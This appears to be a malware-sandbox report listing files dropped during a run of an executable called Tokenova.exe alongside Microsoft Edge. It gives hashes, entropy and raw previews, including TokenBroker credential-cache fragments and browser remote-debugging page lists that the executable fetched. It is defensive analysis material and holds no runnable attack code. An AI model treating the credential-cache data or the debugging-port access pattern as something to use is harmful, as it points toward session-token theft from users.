SHA-256:	B4153C542C9375C2A8CFF57D8582B3BFB8C0704D69DAC8BF2D11A5B2B3B51ECF
SHA-512:	30632E69017B9B3BEBA91F1BC9F54610C510CFEE163B3A429932755D7EBED1BA53AD235E366B6C99868BB351D24AA661DC185176466A83627BA3ED44617C834F
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1740631757674302}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a6941fa1-5cde-4f75-bea1-5a7ca67aefe8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45822
Entropy (8bit):	6.089468165969523
Encrypted:	false
SSDEEP:	768:3MkbJ6eg6KzhXRLrD9utVunhDO6vP6OHgUWnqZ1Jl/dOCAoXGoup1Xl3jVzXr4Q5:3Mk16zRRvD9up6n3loRoXhu3VlXr4q
MD5:	F046226B86DC707E33540CA854BA6881
SHA1:	A7EC7C105E3645D265AAF9F2953C8B111BEEE90A
SHA-256:	F32EADA58D6F9A28BE0A6E26E1D2FEC222C3C6A844AAE4704EA84A05A7564BEF
SHA-512:	31DAF3C785F061096C03E9B420A8612B0BC18EFBC7448B608BF68FC660B6C97A2C3A458DEC1728036E3A3AD435F387254F72444C5C6D8AC6165C8A489D510C61
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1740530958"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8428047563251293
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxpyxl9Il8uWcvvLz4py99d1rc:mlYccvzz4pOG
MD5:	999D9980EAD59D4F88F2FF2309ADE9A1
SHA1:	B81526EB759651D021B73E9924BE814E658CEA32
SHA-256:	45A680221C8E9ABD9FF6B8F107F15FFB6128AD82E710DAEEBA8DC902D9928976
SHA-512:	F5B8E5CDC1DBD8D931BAAAF446A2A9DC789ACCAD66CBBD46C118A596517717FB785A78907AFA4771446C3C72DEA038DB65C8BB08303749C4C480FCBC5F9516F4
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.A.w.j.p.f.C.H.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.g.V.4.8.N.U.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9988894590569366
Encrypted:	false
SSDEEP:	96:rYf0lUsKXwnYMfcLfm6yUr6Wc/MhjXq4aqslDOWMy:rLOzXazQfm6XFjX+lDOWMy
MD5:	8147F310023441FEF4280F45B747851F
SHA1:	FE527CC0F9D66C132CCB12F590BE825D6AF10D59
SHA-256:	6485DCE691CB830F42433D9CFDECAB038E62CEDE455A0883C305DCFA7B240368
SHA-512:	AD04827D248EC74FA6CD77D4562C471737F7A7200E4F6AEA7D0068A42F35762D8B2222D48C3462E5369354786D85732A09BF1520A3AB3F90241636E71DDC8E2B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".3.U.f.T.i.u.i.H.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.g.V.4.8.N.U.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.90435793441348
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xgxl9Il8uCD5ievbBKq8eSntyhDUSRuHd/vc:aiYcnBKlylrRuy
MD5:	BC7AE99395CC28252DE01FC65691FBA4
SHA1:	DDC1FD079E293A80FDD00A673745BA7929B64222
SHA-256:	06AFAFCEF783AC278E1BC77F9A5231265C9A252683CBE5B68B007EB6BCD2522B
SHA-512:	628D3577A0A8C81173E4A96B6E2D180E5FAACB5415A0A75862D1B80683681D6FC84CFC47C8976BD55A699D7E4BF7E7D9F749659489E1E8CAC86EA64CE63C1B84
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".e.j.t.X.u.7.m.m.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.g.V.4.8.N.U.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\Tokenova.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.400234599286486
Encrypted:	false
SSDEEP:	96:6NnCsmcmSHCsmPNnC4bCUNnCM9CTNnCBdgECPNnC4CANnCJe0mDCJNNnCYwChNnw:6NENtNiNKMNbNhNeNB7Nw
MD5:	48405282ECF6ECF2B2A919FF318F5D30
SHA1:	5DCA023001EC86C8AACF1411BE53E1ABC510B987
SHA-256:	2630AF9C9DD9FCEECBF73C18FF42E4F4A170EA438C709EDC3631582D4390E85F
SHA-512:	214EB245F717341867D8FF64146FA146F45CF0EDD384158B9F9B24E98E4643FC982DEBF614522C94AF321060EFD2AA3DE683B5CDC67D7F6B89FCBEDC5D9D7813
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/9CD2272687E54F900E7C9C66F90FBC0D",.. "id": "9CD2272687E54F900E7C9C66F90FBC0D",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/9CD2272687E54F900E7C9C66F90FBC0D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/55DBB53A423DE156374475F102B18112",.. "id": "55DBB53A423DE156374475F102B18112",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/55DBB53A423DE156374475F102B18112"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\Tokenova.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.3763132579573245
Encrypted:	false
SSDEEP:	48:SfNaoCykPTECMfNaoC/IjC/ufNaoCR2eCROfNaoCrkNeNbA0UrU0U8Crkr:6NnCVTEC4NnC/IjC/WNnCR2eCR2NnCrk
MD5:	4346684DBEED65876A1F01A1CBCEFC16
SHA1:	C4E79039E0505E838D83EAAB3FD344423BE596B8
SHA-256:	63772E9A9D9D7E617AF0A461FAA54F7E2670E5FE3D384F6748505F22DB59AD6E
SHA-512:	204FAB972168A73D0D47479F25B0AC1A315356B614134A4AE9FCC84392C87C3FB983805F7FB56BD4F2E5A35BC6819D928C12CF2B3003060CBCC3C6C4616F684C
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/E0DC134AEA778A0EF39081EAEFA52AED",.. "id": "E0DC134AEA778A0EF39081EAEFA52AED",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/E0DC134AEA778A0EF39081EAEFA52AED"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/4C90F01FA3AD6BB3D90341FB530588EE",.. "id": "4C90F01FA3AD6BB3D90341FB530588EE",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/4C90F01FA3AD6BB3D90341FB530588EE"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Temp\27c16adb-c860-4561-ba1f-c66368fd28e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\2ec04771-b17c-42b5-9554-d26ef1f13bfd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2962904
Category:	dropped
Size (bytes):	1469303
Entropy (8bit):	7.993528321340788
Encrypted:	true
SSDEEP:	24576:yM06MesDvWap5aj92sjM4x+2VM8E1uGvqvdqBQrQ83FC6uJPbe6ALuU7:y0MIap5ah2so4xR3E1uGClqBQz3FCxC/
MD5:	4AABE81FBFA011BBE92CB28D0DA55897
SHA1:	A5B09244A8938A3B8FC7F6B6C07F99CAF8E4DFF4
SHA-256:	7D1D9546A4213803B896002149ECFE5C8EEA032BF96C86BDC7358787B0EF9ED0
SHA-512:	18CDD1B5F5135C3AF8CA87077A42B3E73BDF9BAE8CF864626E2CA7CBF94F571DC8BB31D98F6EBDE0D747E26A76E1EEDD545AD2489E2340FC46E1B729C8A3D1B6
Malicious:	false
Preview:	...........<.{...........P.O".'>...M......$j.* ?s..;./@B...?..k.........:#J..a..#-#..$.9./.d.....d.....:......>....:[h.?.y.gy.:P....c...l..y..Zn.#.7.9..9)+.MJ.u.+Ya.6..E....T.Ds....GA.g..y..DdI..v..y..y.n(..(..u.'....%qUZ......$u}.zm.B.}B..k(..K#.]...C.%.c.....+2=.4$..0_..;.fI.G....4r..(.....g.L....o.q..Y..S?JbrV..@...:.^.....U.>.~}}m......j......u..J...$.)..va.....r.Z4..L..?.........X..bh..n..T#.......]..Few\..iaP....3Yy..F...;.rN....I..i.PI...x.4...s.......:.....c....=..i.7.,.. ..X.....t.]..!9t.CH.......0i...n...v{m.".v.aW...{.n.)..c.1G.A......f3.h.:.n\#....7.ku..nL(.3.[l.t..........cJ.c..9v.....XR....O19...1%/=-......{/6b.j..0...5M.bPXK....>.H.. ..@..}...{m..4........?.RO........3.y^h.L..1.ct..I...`@N.....h..D..uN..!.1X..a.S..F........U.N...%..A.F.p}c..k:.0...\|PnF.Q.m....Q.....d.b..J,9 ......B...u.I.o&.M+.....N.tJ.....a.3.....-H8_.....&...p:.H.L.<...YDnF....d.........u..+..)&.........n..4Ir...r...m..).m..=.o.V...qk...Mq0t.

C:\Users\user\AppData\Local\Temp\65bc74e6-5387-4341-9b83-c338162ed3c4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\6edccecc-a464-4d38-b06d-5be08707ce74.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\79950224-816e-49a5-8b9a-c631c7489850.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\8ebd197d-0ebc-4136-aa0f-68181b8b73d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.412147623649239
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrb:8e2Fa116uCntc5toYhV2/T7RM
MD5:	AFA615E88629A339C9C3FD7C2A943113
SHA1:	D7EEA06D904BE6F4D30C07EA1F8AA6591D82C0E7
SHA-256:	2F5353C1221C69B133A8175228BF850666AF6CB8E5A6ACB032A1A6DFFC67295C
SHA-512:	85F085727DE59C2246D5A3E43D0055728A5579CD55AF283D1A82EF13C28595EA0873A347DB7F6699A6C3301857443944952B552E843560CCEA6427C9D3DBBC4F
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\fd857efb-1047-440f-902f-8b06624d0598.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154545
Entropy (8bit):	7.839678617100523
Encrypted:	false
SSDEEP:	3072:zZH5WPD5SqCJryow8AWTtwGrasOQNHjWRKnvXTwL:zpIPFCXjAWTtwGusOWmMvjwL
MD5:	EAE462C55EBA847A1A8B58E58976B253
SHA1:	4D7C9D59D6AE64EB852BD60B48C161125C820673
SHA-256:	EBCDA644BCFBD0C9300227BAFDE696E8923DDB004B4EE619D7873E8A12EAE2AD
SHA-512:	494481A98AB6C83B16B4E8D287D85BA66499501545DA45458ACC395DA89955971CF2A14E83C2DA041C79C580714B92B9409AA14017A16D0B80A7FF3D91BAD2A3
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...................h...\|..=.Ih.\...T.....}..u0...HVND......R....~D.H$9w._2.3.2...5.H.V.@....k;..c.V.7s....9o`_3qP{}.....G....5.:.m..]..:.w\|'..lG.../..,...G....g...O..}....K.Hk......T>..F7G.!n..h.j...J...XzbG....kK]!z..;.K.U.......1:..7w.....6...N.I!....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!...j9%2/.....(-.C.....].=....I.a..!......k..,i.....T.m.xM.W4.)`0..6R".%............m..8.....\|.#......`..L0~..F-....B%.Bh.......H....R..~...Z....7Q...y....?.....[......t........J.R^....o....?.%....3h...8.....e..0.v..33.Si...._....3.d.S...Y....b.....O.s$......~...)l..g._.);.S.......yn@.....3iG.).I76.]..].t_..

